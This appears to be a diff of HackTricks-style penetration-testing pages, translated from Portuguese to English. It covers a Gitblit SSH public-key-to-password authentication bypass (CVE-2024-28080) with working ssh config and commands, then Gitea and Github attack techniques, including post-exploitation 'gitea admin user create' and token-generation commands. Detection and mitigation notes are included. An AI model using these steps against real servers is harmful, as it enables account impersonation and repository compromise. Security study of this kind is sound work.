PubkeyAuthentication yes
|
||||
PreferredAuthentications publickey,password
|
||||
IdentitiesOnly yes
|
||||
IdentityFile ~/.ssh/victim.pub # public half only (no private key present)
|
||||
```
|
||||
Conecte-se e pressione Enter no prompt de senha (ou digite qualquer string):
|
||||
|
||||
Connect and press Enter at the password prompt (or type any string):
|
||||
|
||||
```bash
|
||||
ssh gitblit-target
|
||||
# or Git over SSH
|
||||
GIT_SSH_COMMAND="ssh -F ~/.ssh/config" git ls-remote ssh://<victim-username>@<host>/<repo.git>
|
||||
```
|
||||
A autenticação ocorre com sucesso porque a fase anterior de public‑key alterou a sessão para um usuário autenticado, e o password auth confia incorretamente nesse estado.
|
||||
|
||||
Authentication succeeds because the earlier public‑key phase mutated the session to an authenticated user, and password auth incorrectly trusts that state.
|
||||
|
||||
Note: If ControlMaster multiplexing is enabled in your SSH config, subsequent Git commands may reuse the authenticated connection, increasing impact.
|
||||
|
||||
## Impacto
|
||||
## Impact
|
||||
|
||||
- Impersonar completamente qualquer Gitblit user com pelo menos uma SSH public key registrada
|
||||
- Acesso de leitura/escrita aos repositórios conforme as permissões da vítima (source exfiltration, unauthorized pushes, supply‑chain risks)
|
||||
- Impacto administrativo potencial se o alvo for um admin user
|
||||
- Exploração puramente de rede; sem brute force ou private key necessários
|
||||
- Full impersonation of any Gitblit user with at least one registered SSH public key
|
||||
- Read/write access to repositories per victim’s permissions (source exfiltration, unauthorized pushes, supply‑chain risks)
|
||||
- Potential administrative impact if targeting an admin user
|
||||
- Pure network exploit; no brute force or private key required
|
||||
|
||||
## Detecção
|
||||
## Detection ideas
|
||||
|
||||
- Revise os SSH logs por sequências onde uma tentativa publickey é seguida por uma autenticação password bem‑sucedida com uma senha vazia ou muito curta
|
||||
- Procure fluxos: método publickey oferecendo material de chave não suportado/incompatível seguido por sucesso imediato do password para o mesmo username
|
||||
- Review SSH logs for sequences where a publickey attempt is followed by a successful password authentication with an empty or very short password
|
||||
- Look for flows: publickey method offering unsupported/mismatched key material followed by immediate password success for the same username
|
||||
|
||||
## Mitigações
|
||||
## Mitigations
|
||||
|
||||
- Atualize para Gitblit v1.10.0+
|
||||
- Até a atualização:
|
||||
- Desative Git over SSH no Gitblit, ou
|
||||
- Restrinja o acesso de rede ao serviço SSH, e
|
||||
- Monitore por padrões suspeitos descritos acima
|
||||
- Altere as credenciais dos usuários afetados se houver suspeita de comprometimento
|
||||
- Upgrade to Gitblit v1.10.0+
|
||||
- Until upgraded:
|
||||
- Disable Git over SSH on Gitblit, or
|
||||
- Restrict network access to the SSH service, and
|
||||
- Monitor for suspicious patterns described above
|
||||
- Rotate affected user credentials if compromise is suspected
|
||||
|
||||
## Geral: abusando do SSH auth method state‑leakage (MINA/OpenSSH‑based services)
|
||||
## General: abusing SSH auth method state‑leakage (MINA/OpenSSH‑based services)
|
||||
|
||||
Padrão: Se o public‑key authenticator de um servidor muta o estado do usuário/sessão durante a fase pré‑assinatura "key acceptable" e outros authenticators (e.g., password) confiam nesse estado, você pode contornar a autenticação por:
|
||||
Pattern: If a server’s public‑key authenticator mutates user/session state during the pre‑signature "key acceptable" phase and other authenticators (e.g., password) trust that state, you can bypass authentication by:
|
||||
|
||||
- Apresentar uma public key legítima para o usuário alvo (sem private key)
|
||||
- Forçar o cliente a falhar ao assinar para que o servidor caia de volta para password
|
||||
- Fornecer qualquer password enquanto o password authenticator ignora a verificação devido ao leaked state
|
||||
- Presenting a legitimate public key for the target user (no private key)
|
||||
- Forcing the client to fail signing so the server falls back to password
|
||||
- Supplying any password while the password authenticator short‑circuits on leaked state
|
||||
|
||||
Dicas práticas:
|
||||
Practical tips:
|
||||
|
||||
- Public key harvesting at scale: pull public keys from common sources such as https://github.com/<username>.keys, organizational directories, team pages, leaked authorized_keys
|
||||
- Forçar falha de assinatura (lado cliente): aponte IdentityFile somente para o .pub, defina IdentitiesOnly yes, mantenha PreferredAuthentications incluindo publickey then password
|
||||
- Armadilhas de integração do MINA SSHD:
|
||||
- PublickeyAuthenticator.authenticate(...) não deve anexar estado do usuário/sessão até que o caminho de verificação pós‑assinatura confirme a assinatura
|
||||
- PasswordAuthenticator.authenticate(...) não deve inferir sucesso a partir de qualquer estado mutado durante um método de autenticação prévio incompleto
|
||||
- Forcing signature failure (client‑side): point IdentityFile to only the .pub, set IdentitiesOnly yes, keep PreferredAuthentications to include publickey then password
|
||||
- MINA SSHD integration pitfalls:
|
||||
- PublickeyAuthenticator.authenticate(...) must not attach user/session state until the post‑signature verification path confirms the signature
|
||||
- PasswordAuthenticator.authenticate(...) must not infer success from any state mutated during a prior, incomplete authentication method
|
||||
|
||||
Notas e literatura relacionadas ao protocolo/design:
|
||||
Related protocol/design notes and literature:
|
||||
- SSH userauth protocol: RFC 4252 (publickey method is a two‑stage process)
|
||||
- Discussões históricas sobre early acceptance oracles e auth races, e.g., CVE‑2016‑20012 disputes around OpenSSH behavior
|
||||
- Historical discussions on early acceptance oracles and auth races, e.g., CVE‑2016‑20012 disputes around OpenSSH behavior
|
||||
|
||||
## Referências
|
||||
## References
|
||||
|
||||
- [Gitblit CVE-2024-28080: SSH public‑key fallback to password authentication bypass (Silent Signal blog)](https://blog.silentsignal.eu/2025/06/14/gitblit-cve-CVE-2024-28080/)
|
||||
- [Gitblit v1.10.0 release notes](https://github.com/gitblit-org/gitblit/releases/tag/v1.10.0)
|
||||
|
||||
@@ -1,130 +1,141 @@
|
||||
# Segurança do Gitea
|
||||
# Gitea Security
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## O que é Gitea
|
||||
## What is Gitea
|
||||
|
||||
**Gitea** é uma solução **de hospedagem de código leve gerenciada pela comunidade e auto-hospedada** escrita em Go.
|
||||
**Gitea** is a **self-hosted community managed lightweight code hosting** solution written in Go.
|
||||
|
||||
.png>)
|
||||
|
||||
### Informações Básicas
|
||||
### Basic Information
|
||||
|
||||
{{#ref}}
|
||||
basic-gitea-information.md
|
||||
{{#endref}}
|
||||
|
||||
## Laboratório
|
||||
## Lab
|
||||
|
||||
To run a Gitea instance locally you can just run a docker container:
|
||||
|
||||
Para executar uma instância do Gitea localmente, você pode simplesmente executar um contêiner docker:
|
||||
```bash
|
||||
docker run -p 3000:3000 gitea/gitea
|
||||
```
|
||||
Conecte-se à porta 3000 para acessar a página da web.
|
||||
|
||||
Você também pode executá-lo com kubernetes:
|
||||
Connect to port 3000 to access the web page.
|
||||
|
||||
You could also run it with kubernetes:
|
||||
|
||||
```
|
||||
helm repo add gitea-charts https://dl.gitea.io/charts/
|
||||
helm install gitea gitea-charts/gitea
|
||||
```
|
||||
## Enumeração Não Autenticada
|
||||
|
||||
- Repos públicos: [http://localhost:3000/explore/repos](http://localhost:3000/explore/repos)
|
||||
- Usuários registrados: [http://localhost:3000/explore/users](http://localhost:3000/explore/users)
|
||||
- Organizações registradas: [http://localhost:3000/explore/organizations](http://localhost:3000/explore/organizations)
|
||||
## Unauthenticated Enumeration
|
||||
|
||||
Note que por **padrão, o Gitea permite que novos usuários se registrem**. Isso não dará acesso especialmente interessante aos novos usuários sobre os repositórios de outras organizações/usuários, mas um **usuário autenticado** pode ser capaz de **visualizar mais repositórios ou organizações**.
|
||||
- Public repos: [http://localhost:3000/explore/repos](http://localhost:3000/explore/repos)
|
||||
- Registered users: [http://localhost:3000/explore/users](http://localhost:3000/explore/users)
|
||||
- Registered Organizations: [http://localhost:3000/explore/organizations](http://localhost:3000/explore/organizations)
|
||||
|
||||
## Exploração Interna
|
||||
Note that by **default Gitea allows new users to register**. This won't give specially interesting access to the new users over other organizations/users repos, but a **logged in user** might be able to **visualize more repos or organizations**.
|
||||
|
||||
Para este cenário, vamos supor que você obteve algum acesso a uma conta do github.
|
||||
## Internal Exploitation
|
||||
|
||||
### Com Credenciais de Usuário/Cookie da Web
|
||||
For this scenario we are going to suppose that you have obtained some access to a github account.
|
||||
|
||||
Se de alguma forma você já tem credenciais de um usuário dentro de uma organização (ou você roubou um cookie de sessão), você pode **apenas fazer login** e verificar quais **permissões você tem** sobre quais **repositórios**, em **quais equipes** você está, **listar outros usuários** e **como os repositórios estão protegidos.**
|
||||
### With User Credentials/Web Cookie
|
||||
|
||||
Note que **2FA pode ser usado**, então você só poderá acessar essas informações se também conseguir **passar por essa verificação**.
|
||||
If you somehow already have credentials for a user inside an organization (or you stole a session cookie) you can **just login** and check which which **permissions you have** over which **repos,** in **which teams** you are, **list other users**, and **how are the repos protected.**
|
||||
|
||||
Note that **2FA may be used** so you will only be able to access this information if you can also **pass that check**.
|
||||
|
||||
> [!NOTE]
|
||||
> Note que se você **conseguir roubar o cookie `i_like_gitea`** (atualmente configurado com SameSite: Lax), você pode **impersonar completamente o usuário** sem precisar de credenciais ou 2FA.
|
||||
> Note that if you **manage to steal the `i_like_gitea` cookie** (currently configured with SameSite: Lax) you can **completely impersonate the user** without needing credentials or 2FA.
|
||||
|
||||
### Com Chave SSH do Usuário
|
||||
### With User SSH Key
|
||||
|
||||
O Gitea permite que **usuários** configurem **chaves SSH** que serão usadas como **método de autenticação para implantar código** em seu nome (nenhuma 2FA é aplicada).
|
||||
Gitea allows **users** to set **SSH keys** that will be used as **authentication method to deploy code** on their behalf (no 2FA is applied).
|
||||
|
||||
With this key you can perform **changes in repositories where the user has some privileges**, however you can not use it to access gitea api to enumerate the environment. However, you can **enumerate local settings** to get information about the repos and user you have access to:
|
||||
|
||||
Com esta chave, você pode realizar **alterações em repositórios onde o usuário tem alguns privilégios**, no entanto, você não pode usá-la para acessar a API do gitea para enumerar o ambiente. No entanto, você pode **enumerar configurações locais** para obter informações sobre os repositórios e usuários aos quais você tem acesso:
|
||||
```bash
|
||||
# Go to the the repository folder
|
||||
# Get repo config and current user name and email
|
||||
git config --list
|
||||
```
|
||||
Se o usuário configurou seu nome de usuário como seu nome de usuário do gitea, você pode acessar as **chaves públicas que ele configurou** em sua conta em _https://github.com/\<gitea_username>.keys_, você pode verificar isso para confirmar se a chave privada que você encontrou pode ser usada.
|
||||
|
||||
**Chaves SSH** também podem ser configuradas em repositórios como **chaves de implantação**. Qualquer pessoa com acesso a essa chave poderá **iniciar projetos de um repositório**. Normalmente, em um servidor com diferentes chaves de implantação, o arquivo local **`~/.ssh/config`** fornecerá informações sobre a chave relacionada.
|
||||
If the user has configured its username as his gitea username you can access the **public keys he has set** in his account in _https://github.com/\<gitea_username>.keys_, you could check this to confirm the private key you found can be used.
|
||||
|
||||
#### Chaves GPG
|
||||
**SSH keys** can also be set in repositories as **deploy keys**. Anyone with access to this key will be able to **launch projects from a repository**. Usually in a server with different deploy keys the local file **`~/.ssh/config`** will give you info about key is related.
|
||||
|
||||
Como explicado [**aqui**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/gitea-security/broken-reference/README.md), às vezes é necessário assinar os commits ou você pode ser descoberto.
|
||||
#### GPG Keys
|
||||
|
||||
As explained [**here**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/gitea-security/broken-reference/README.md) sometimes it's needed to sign the commits or you might get discovered.
|
||||
|
||||
Check locally if the current user has any key with:
|
||||
|
||||
Verifique localmente se o usuário atual possui alguma chave com:
|
||||
```shell
|
||||
gpg --list-secret-keys --keyid-format=long
|
||||
```
|
||||
### Com Token de Usuário
|
||||
|
||||
Para uma introdução sobre [**Tokens de Usuário, verifique as informações básicas**](basic-gitea-information.md#personal-access-tokens).
|
||||
### With User Token
|
||||
|
||||
Um token de usuário pode ser usado **em vez de uma senha** para **autenticar** contra o servidor Gitea [**via API**](https://try.gitea.io/api/swagger#/). ele terá **acesso completo** sobre o usuário.
|
||||
For an introduction about [**User Tokens check the basic information**](basic-gitea-information.md#personal-access-tokens).
|
||||
|
||||
### Com Aplicação Oauth
|
||||
A user token can be used **instead of a password** to **authenticate** against Gitea server [**via API**](https://try.gitea.io/api/swagger#/). it will has **complete access** over the user.
|
||||
|
||||
Para uma introdução sobre [**Aplicações Oauth do Gitea, verifique as informações básicas**](./#with-oauth-application).
|
||||
### With Oauth Application
|
||||
|
||||
Um atacante pode criar uma **Aplicação Oauth maliciosa** para acessar dados/ações privilegiados dos usuários que a aceitam, provavelmente como parte de uma campanha de phishing.
|
||||
For an introduction about [**Gitea Oauth Applications check the basic information**](#with-oauth-application).
|
||||
|
||||
Como explicado nas informações básicas, a aplicação terá **acesso total à conta do usuário**.
|
||||
An attacker might create a **malicious Oauth Application** to access privileged data/actions of the users that accepts them probably as part of a phishing campaign.
|
||||
|
||||
### Bypass de Proteção de Branch
|
||||
As explained in the basic information, the application will have **full access over the user account**.
|
||||
|
||||
No Github temos **github actions** que por padrão obtêm um **token com acesso de escrita** sobre o repositório que pode ser usado para **contornar as proteções de branch**. Neste caso, isso **não existe**, então os contornos são mais limitados. Mas vamos dar uma olhada no que pode ser feito:
|
||||
### Branch Protection Bypass
|
||||
|
||||
- **Habilitar Push**: Se alguém com acesso de escrita pode fazer push para o branch, basta fazer push nele.
|
||||
- **Whitelist de Push Restrito**: Da mesma forma, se você faz parte desta lista, faça push para o branch.
|
||||
- **Habilitar Whitelist de Merge**: Se houver uma whitelist de merge, você precisa estar dentro dela.
|
||||
- **Requerer aprovações maiores que 0**: Então... você precisa comprometer outro usuário.
|
||||
- **Restringir aprovações a usuários na whitelist**: Se apenas usuários na whitelist podem aprovar... você precisa comprometer outro usuário que esteja nessa lista.
|
||||
- **Desconsiderar aprovações obsoletas**: Se as aprovações não forem removidas com novos commits, você pode sequestrar um PR já aprovado para injetar seu código e mesclar o PR.
|
||||
In Github we have **github actions** which by default get a **token with write access** over the repo that can be used to **bypass branch protections**. In this case that **doesn't exist**, so the bypasses are more limited. But lets take a look to what can be done:
|
||||
|
||||
Observe que **se você for um admin de org/repo** pode contornar as proteções.
|
||||
- **Enable Push**: If anyone with write access can push to the branch, just push to it.
|
||||
- **Whitelist Restricted Pus**h: The same way, if you are part of this list push to the branch.
|
||||
- **Enable Merge Whitelist**: If there is a merge whitelist, you need to be inside of it
|
||||
- **Require approvals is bigger than 0**: Then... you need to compromise another user
|
||||
- **Restrict approvals to whitelisted**: If only whitelisted users can approve... you need to compromise another user that is inside that list
|
||||
- **Dismiss stale approvals**: If approvals are not removed with new commits, you could hijack an already approved PR to inject your code and merge the PR.
|
||||
|
||||
### Enumerar Webhooks
|
||||
Note that **if you are an org/repo admin** you can bypass the protections.
|
||||
|
||||
**Webhooks** são capazes de **enviar informações específicas do gitea para alguns lugares**. Você pode ser capaz de **explorar essa comunicação**.\
|
||||
No entanto, geralmente um **segredo** que você **não pode recuperar** é definido no **webhook** que **impede** usuários externos que conhecem a URL do webhook, mas não o segredo, de **explorar esse webhook**.\
|
||||
Mas em algumas ocasiões, as pessoas, em vez de definir o **segredo** em seu lugar, **o definem na URL** como um parâmetro, então **verificando as URLs** pode permitir que você **encontre segredos** e outros lugares que você poderia explorar mais.
|
||||
### Enumerate Webhooks
|
||||
|
||||
Webhooks podem ser definidos em **nível de repo e de org**.
|
||||
**Webhooks** are able to **send specific gitea information to some places**. You might be able to **exploit that communication**.\
|
||||
However, usually a **secret** you can **not retrieve** is set in the **webhook** that will **prevent** external users that know the URL of the webhook but not the secret to **exploit that webhook**.\
|
||||
But in some occasions, people instead of setting the **secret** in its place, they **set it in the URL** as a parameter, so **checking the URLs** could allow you to **find secrets** and other places you could exploit further.
|
||||
|
||||
## Pós Exploração
|
||||
Webhooks can be set at **repo and at org level**.
|
||||
|
||||
### Dentro do servidor
|
||||
## Post Exploitation
|
||||
|
||||
Se de alguma forma você conseguiu entrar no servidor onde o gitea está rodando, você deve procurar o arquivo de configuração do gitea. Por padrão, ele está localizado em `/data/gitea/conf/app.ini`
|
||||
### Inside the server
|
||||
|
||||
Neste arquivo, você pode encontrar **chaves** e **senhas**.
|
||||
If somehow you managed to get inside the server where gitea is running you should search for the gitea configuration file. By default it's located in `/data/gitea/conf/app.ini`
|
||||
|
||||
No caminho do gitea (por padrão: /data/gitea) você também pode encontrar informações interessantes como:
|
||||
In this file you can find **keys** and **passwords**.
|
||||
|
||||
- O **DB sqlite**: Se o gitea não estiver usando um db externo, ele usará um db sqlite.
|
||||
- As **sessões** dentro da pasta de sessões: Executando `cat sessions/*/*/*` você pode ver os nomes de usuário dos usuários logados (o gitea também pode salvar as sessões dentro do DB).
|
||||
- A **chave privada jwt** dentro da pasta jwt.
|
||||
- Mais **informações sensíveis** podem ser encontradas nesta pasta.
|
||||
In the gitea path (by default: /data/gitea) you can find also interesting information like:
|
||||
|
||||
Se você estiver dentro do servidor, também pode **usar o binário `gitea`** para acessar/modificar informações:
|
||||
- The **sqlite** DB: If gitea is not using an external db it will use a sqlite db
|
||||
- The **sessions** inside the sessions folder: Running `cat sessions/*/*/*` you can see the usernames of the logged users (gitea could also save the sessions inside the DB).
|
||||
- The **jwt private key** inside the jwt folder
|
||||
- More **sensitive information** could be found in this folder
|
||||
|
||||
- `gitea dump` irá despejar o gitea e gerar um arquivo .zip.
|
||||
- `gitea generate secret INTERNAL_TOKEN/JWT_SECRET/SECRET_KEY/LFS_JWT_SECRET` irá gerar um token do tipo indicado (persistência).
|
||||
- `gitea admin user change-password --username admin --password newpassword` Muda a senha.
|
||||
- `gitea admin user create --username newuser --password superpassword --email user@user.user --admin --access-token` Cria um novo usuário admin e obtém um token de acesso.
|
||||
If you are inside the server you can also **use the `gitea` binary** to access/modify information:
|
||||
|
||||
- `gitea dump` will dump gitea and generate a .zip file
|
||||
- `gitea generate secret INTERNAL_TOKEN/JWT_SECRET/SECRET_KEY/LFS_JWT_SECRET` will generate a token of the indicated type (persistence)
|
||||
- `gitea admin user change-password --username admin --password newpassword` Change the password
|
||||
- `gitea admin user create --username newuser --password superpassword --email user@user.user --admin --access-token` Create new admin user and get an access token
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -1,103 +1,106 @@
|
||||
# Informações Básicas sobre Gitea
|
||||
# Basic Gitea Information
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Estrutura Básica
|
||||
## Basic Structure
|
||||
|
||||
A estrutura básica do ambiente Gitea é agrupar repositórios por **organização(ões),** cada uma delas pode conter **vários repositórios** e **várias equipes.** No entanto, note que assim como no github, os usuários podem ter repositórios fora da organização.
|
||||
The basic Gitea environment structure is to group repos by **organization(s),** each of them may contain **several repositories** and **several teams.** However, note that just like in github users can have repos outside of the organization.
|
||||
|
||||
Além disso, um **usuário** pode ser **membro** de **diferentes organizações**. Dentro da organização, o usuário pode ter **diferentes permissões sobre cada repositório**.
|
||||
Moreover, a **user** can be a **member** of **different organizations**. Within the organization the user may have **different permissions over each repository**.
|
||||
|
||||
Um usuário também pode ser **parte de diferentes equipes** com diferentes permissões sobre diferentes repositórios.
|
||||
A user may also be **part of different teams** with different permissions over different repos.
|
||||
|
||||
E finalmente, **repositórios podem ter mecanismos de proteção especiais**.
|
||||
And finally **repositories may have special protection mechanisms**.
|
||||
|
||||
## Permissões
|
||||
## Permissions
|
||||
|
||||
### Organizações
|
||||
### Organizations
|
||||
|
||||
Quando uma **organização é criada**, uma equipe chamada **Owners** é **criada** e o usuário é colocado dentro dela. Esta equipe dará **acesso de admin** sobre a **organização**, essas **permissões** e o **nome** da equipe **não podem ser modificados**.
|
||||
When an **organization is created** a team called **Owners** is **created** and the user is put inside of it. This team will give **admin access** over the **organization**, those **permissions** and the **name** of the team **cannot be modified**.
|
||||
|
||||
**Org admins** (proprietários) podem selecionar a **visibilidade** da organização:
|
||||
**Org admins** (owners) can select the **visibility** of the organization:
|
||||
|
||||
- Público
|
||||
- Limitado (apenas usuários logados)
|
||||
- Privado (apenas membros)
|
||||
- Public
|
||||
- Limited (logged in users only)
|
||||
- Private (members only)
|
||||
|
||||
**Org admins** também podem indicar se os **repo admins** podem **adicionar ou remover acesso** para equipes. Eles também podem indicar o número máximo de repositórios.
|
||||
**Org admins** can also indicate if the **repo admins** can **add and or remove access** for teams. They can also indicate the max number of repos.
|
||||
|
||||
Ao criar uma nova equipe, várias configurações importantes são selecionadas:
|
||||
When creating a new team, several important settings are selected:
|
||||
|
||||
- É indicado os **repositórios da org que os membros da equipe poderão acessar**: repositórios específicos (repositórios onde a equipe é adicionada) ou todos.
|
||||
- Também é indicado **se os membros podem criar novos repositórios** (o criador terá acesso de admin a ele)
|
||||
- As **permissões** que os **membros** do repositório **terão**:
|
||||
- Acesso **Administrador**
|
||||
- Acesso **Específico**:
|
||||
- It's indicated the **repos of the org the members of the team will be able to access**: specific repos (repos where the team is added) or all.
|
||||
- It's also indicated **if members can create new repos** (creator will get admin access to it)
|
||||
- The **permissions** the **members** of the repo will **have**:
|
||||
- **Administrator** access
|
||||
- **Specific** access:
|
||||
|
||||
.png>)
|
||||
|
||||
### Equipes & Usuários
|
||||
### Teams & Users
|
||||
|
||||
Em um repositório, o **org admin** e os **repo admins** (se permitido pela org) podem **gerenciar os papéis** dados a colaboradores (outros usuários) e equipes. Existem **3** possíveis **papéis**:
|
||||
In a repo, the **org admin** and the **repo admins** (if allowed by the org) can **manage the roles** given to collaborators (other users) and teams. There are **3** possible **roles**:
|
||||
|
||||
- Administrador
|
||||
- Escrita
|
||||
- Leitura
|
||||
- Administrator
|
||||
- Write
|
||||
- Read
|
||||
|
||||
## Autenticação Gitea
|
||||
## Gitea Authentication
|
||||
|
||||
### Acesso Web
|
||||
### Web Access
|
||||
|
||||
Usando **nome de usuário + senha** e potencialmente (e recomendado) um 2FA.
|
||||
Using **username + password** and potentially (and recommended) a 2FA.
|
||||
|
||||
### **Chaves SSH**
|
||||
### **SSH Keys**
|
||||
|
||||
Você pode configurar sua conta com uma ou várias chaves públicas permitindo que a chave **privada relacionada realize ações em seu nome.** [http://localhost:3000/user/settings/keys](http://localhost:3000/user/settings/keys)
|
||||
You can configure your account with one or several public keys allowing the related **private key to perform actions on your behalf.** [http://localhost:3000/user/settings/keys](http://localhost:3000/user/settings/keys)
|
||||
|
||||
#### **Chaves GPG**
|
||||
#### **GPG Keys**
|
||||
|
||||
Você **não pode se passar pelo usuário com essas chaves**, mas se você não as usar, pode ser possível que você **seja descoberto por enviar commits sem uma assinatura**.
|
||||
You **cannot impersonate the user with these keys** but if you don't use it it might be possible that you **get discover for sending commits without a signature**.
|
||||
|
||||
### **Tokens de Acesso Pessoal**
|
||||
### **Personal Access Tokens**
|
||||
|
||||
Você pode gerar um token de acesso pessoal para **dar a um aplicativo acesso à sua conta**. Um token de acesso pessoal dá acesso total à sua conta: [http://localhost:3000/user/settings/applications](http://localhost:3000/user/settings/applications)
|
||||
You can generate personal access token to **give an application access to your account**. A personal access token gives full access over your account: [http://localhost:3000/user/settings/applications](http://localhost:3000/user/settings/applications)
|
||||
|
||||
### Aplicações Oauth
|
||||
### Oauth Applications
|
||||
|
||||
Assim como os tokens de acesso pessoal, as **aplicações Oauth** terão **acesso completo** à sua conta e aos lugares que sua conta tem acesso porque, como indicado na [docs](https://docs.gitea.io/en-us/oauth2-provider/#scopes), escopos ainda não são suportados:
|
||||
Just like personal access tokens **Oauth applications** will have **complete access** over your account and the places your account has access because, as indicated in the [docs](https://docs.gitea.io/en-us/oauth2-provider/#scopes), scopes aren't supported yet:
|
||||
|
||||
.png>)
|
||||
|
||||
### Chaves de Deploy
|
||||
### Deploy keys
|
||||
|
||||
Chaves de deploy podem ter acesso somente leitura ou de escrita ao repositório, então podem ser interessantes para comprometer repositórios específicos.
|
||||
Deploy keys might have read-only or write access to the repo, so they might be interesting to compromise specific repos.
|
||||
|
||||
## Proteções de Branch
|
||||
## Branch Protections
|
||||
|
||||
As proteções de branch são projetadas para **não dar controle completo de um repositório** aos usuários. O objetivo é **colocar vários métodos de proteção antes de poder escrever código dentro de algum branch**.
|
||||
Branch protections are designed to **not give complete control of a repository** to the users. The goal is to **put several protection methods before being able to write code inside some branch**.
|
||||
|
||||
As **proteções de branch de um repositório** podem ser encontradas em _https://localhost:3000/\<orgname>/\<reponame>/settings/branches_
|
||||
The **branch protections of a repository** can be found in _https://localhost:3000/\<orgname>/\<reponame>/settings/branches_
|
||||
|
||||
> [!NOTE]
|
||||
> Não é **possível definir uma proteção de branch em nível de organização**. Portanto, todas elas devem ser declaradas em cada repositório.
|
||||
> It's **not possible to set a branch protection at organization level**. So all of them must be declared on each repo.
|
||||
|
||||
Diferentes proteções podem ser aplicadas a um branch (como ao master):
|
||||
Different protections can be applied to a branch (like to master):
|
||||
|
||||
- **Desabilitar Push**: Ninguém pode fazer push para este branch
|
||||
- **Habilitar Push**: Qualquer um com acesso pode fazer push, mas não force push.
|
||||
- **Whitelist Restricted Push**: Apenas usuários/equipes selecionados podem fazer push para este branch (mas sem force push)
|
||||
- **Habilitar Merge Whitelist**: Apenas usuários/equipes na lista branca podem mesclar PRs.
|
||||
- **Habilitar verificações de status:** Exigir que as verificações de status sejam aprovadas antes de mesclar.
|
||||
- **Exigir aprovações**: Indicar o número de aprovações necessárias antes que um PR possa ser mesclado.
|
||||
- **Restringir aprovações a usuários/equipes na lista branca**: Indicar usuários/equipes que podem aprovar PRs.
|
||||
- **Bloquear mesclagem em revisões rejeitadas**: Se mudanças forem solicitadas, não pode ser mesclado (mesmo que as outras verificações passem)
|
||||
- **Bloquear mesclagem em solicitações de revisão oficiais**: Se houver solicitações de revisão oficiais, não pode ser mesclado
|
||||
- **Desconsiderar aprovações antigas**: Quando novos commits são feitos, aprovações antigas serão desconsideradas.
|
||||
- **Exigir Commits Assinados**: Commits devem ser assinados.
|
||||
- **Bloquear mesclagem se a solicitação de pull estiver desatualizada**
|
||||
- **Padrões de arquivos protegidos/não protegidos**: Indicar padrões de arquivos para proteger/desproteger contra mudanças
|
||||
- **Disable Push**: No-one can push to this branch
|
||||
- **Enable Push**: Anyone with access can push, but not force push.
|
||||
- **Whitelist Restricted Push**: Only selected users/teams can push to this branch (but no force push)
|
||||
- **Enable Merge Whitelist**: Only whitelisted users/teams can merge PRs.
|
||||
- **Enable Status checks:** Require status checks to pass before merging.
|
||||
- **Require approvals**: Indicate the number of approvals required before a PR can be merged.
|
||||
- **Restrict approvals to whitelisted**: Indicate users/teams that can approve PRs.
|
||||
- **Block merge on rejected reviews**: If changes are requested, it cannot be merged (even if the other checks pass)
|
||||
- **Block merge on official review requests**: If there official review requests it cannot be merged
|
||||
- **Dismiss stale approvals**: When new commits, old approvals will be dismissed.
|
||||
- **Require Signed Commits**: Commits must be signed.
|
||||
- **Block merge if pull request is outdated**
|
||||
- **Protected/Unprotected file patterns**: Indicate patterns of files to protect/unprotect against changes
|
||||
|
||||
> [!NOTE]
|
||||
> Como você pode ver, mesmo que você consiga obter algumas credenciais de um usuário, **repositórios podem estar protegidos evitando que você faça push de código para master**, por exemplo, para comprometer o pipeline CI/CD.
|
||||
> As you can see, even if you managed to obtain some credentials of a user, **repos might be protected avoiding you to pushing code to master** for example to compromise the CI/CD pipeline.
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -1,237 +1,250 @@
|
||||
# Segurança do Github
|
||||
# Github Security
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## O que é o Github
|
||||
## What is Github
|
||||
|
||||
(De [aqui](https://kinsta.com/knowledgebase/what-is-github/)) Em um nível alto, **o GitHub é um site e serviço baseado em nuvem que ajuda os desenvolvedores a armazenar e gerenciar seu código, além de rastrear e controlar alterações em seu código**.
|
||||
(From [here](https://kinsta.com/knowledgebase/what-is-github/)) At a high level, **GitHub is a website and cloud-based service that helps developers store and manage their code, as well as track and control changes to their code**.
|
||||
|
||||
### Informações Básicas
|
||||
### Basic Information
|
||||
|
||||
{{#ref}}
|
||||
basic-github-information.md
|
||||
{{#endref}}
|
||||
|
||||
## Reconhecimento Externo
|
||||
## External Recon
|
||||
|
||||
Os repositórios do Github podem ser configurados como públicos, privados e internos.
|
||||
Github repositories can be configured as public, private and internal.
|
||||
|
||||
- **Privado** significa que **apenas** pessoas da **organização** poderão acessá-los.
|
||||
- **Interno** significa que **apenas** pessoas da **empresa** (uma empresa pode ter várias organizações) poderão acessá-lo.
|
||||
- **Público** significa que **toda a internet** poderá acessá-lo.
|
||||
- **Private** means that **only** people of the **organisation** will be able to access them
|
||||
- **Internal** means that **only** people of the **enterprise** (an enterprise may have several organisations) will be able to access it
|
||||
- **Public** means that **all internet** is going to be able to access it.
|
||||
|
||||
Caso você conheça o **usuário, repositório ou organização que deseja atacar**, você pode usar **github dorks** para encontrar informações sensíveis ou pesquisar por **vazamentos de informações sensíveis** **em cada repositório**.
|
||||
In case you know the **user, repo or organisation you want to target** you can use **github dorks** to find sensitive information or search for **sensitive information leaks** **on each repo**.
|
||||
|
||||
### Github Dorks
|
||||
|
||||
O Github permite **pesquisar algo especificando como escopo um usuário, um repositório ou uma organização**. Portanto, com uma lista de strings que vão aparecer próximas a informações sensíveis, você pode facilmente **pesquisar por informações sensíveis potenciais em seu alvo**.
|
||||
Github allows to **search for something specifying as scope a user, a repo or an organisation**. Therefore, with a list of strings that are going to appear close to sensitive information you can easily **search for potential sensitive information in your target**.
|
||||
|
||||
Ferramentas (cada ferramenta contém sua lista de dorks):
|
||||
Tools (each tool contains its list of dorks):
|
||||
|
||||
- [https://github.com/obheda12/GitDorker](https://github.com/obheda12/GitDorker) ([Lista de Dorks](https://github.com/obheda12/GitDorker/tree/master/Dorks))
|
||||
- [https://github.com/techgaun/github-dorks](https://github.com/techgaun/github-dorks) ([Lista de Dorks](https://github.com/techgaun/github-dorks/blob/master/github-dorks.txt))
|
||||
